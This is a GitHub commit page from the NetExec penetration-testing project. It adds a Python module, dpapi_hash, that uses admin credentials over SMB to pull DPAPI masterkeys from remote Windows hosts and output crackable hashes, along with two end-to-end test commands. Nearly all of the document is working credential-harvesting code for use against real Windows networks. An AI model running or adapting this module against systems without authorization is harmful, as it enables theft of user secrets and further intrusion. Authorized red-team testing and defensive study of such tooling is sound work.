Skip to content

Commit 7bb5813

Browse files
authored
Merge pull request Pennyw0rth#379 from nikaiw/module_dpapihash
Add dpapi hash module based on the work of @Fist0urs
2 parents a5ec90e + bf6fd5e commit 7bb5813

2 files changed

Lines changed: 65 additions & 0 deletions

File tree

nxc/modules/dpapi_hash.py

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
from dploot.lib.target import Target
2+
from dploot.triage.masterkeys import MasterkeysTriage
3+
4+
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
5+
6+
# Based on dpapimk2john, original work by @fist0urs
7+
8+
class NXCModule:
9+
name = "dpapi_hash"
10+
description = "Remotely dump Dpapi hash based on masterkeys"
11+
supported_protocols = ["smb"]
12+
opsec_safe = True
13+
multiple_hosts = True
14+
15+
def options(self, context, module_options):
16+
"""OUTPUTFILE Output file to write hashes"""
17+
self.outputfile = None
18+
if "OUTPUTFILE" in module_options:
19+
self.outputfile = module_options["OUTPUTFILE"]
20+
21+
def on_admin_login(self, context, connection):
22+
username = connection.username
23+
password = getattr(connection, "password", "")
24+
nthash = getattr(connection, "nthash", "")
25+
26+
target = Target.create(
27+
domain=connection.domain,
28+
username=username,
29+
password=password,
30+
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
31+
lmhash=getattr(connection, "lmhash", ""),
32+
nthash=nthash,
33+
do_kerberos=connection.kerberos,
34+
aesKey=connection.aesKey,
35+
no_pass=True,
36+
use_kcache=getattr(connection, "use_kcache", False),
37+
)
38+
39+
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
40+
if conn is None:
41+
context.log.debug("Could not upgrade connection")
42+
return
43+
44+
try:
45+
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
46+
masterkeys_triage = MasterkeysTriage(
47+
target=target,
48+
conn=conn,
49+
)
50+
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
51+
context.log.debug("Collecting user masterkeys")
52+
masterkeys_triage.triage_masterkeys()
53+
if self.outputfile is not None:
54+
with open(self.outputfile, "a+") as fd:
55+
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]:
56+
context.log.highlight(mkhash)
57+
fd.write(f"{mkhash}\n")
58+
else:
59+
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash() ]:
60+
context.log.highlight(mkhash)
61+
62+
except Exception as e:
63+
context.log.debug(f"Could not get masterkeys: {e}")

tests/e2e_commands.txt

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-comp
6565
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
6666
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer -o NAME="BADPC" DELETE=True
6767
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker
68+
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
69+
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash -o OUTPUTFILE=hashes.txt
6870
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc
6971
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M drop-sc -o CLEANUP=True
7072
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_exec -o LISTENER=http-listener

0 commit comments

Comments
 (0)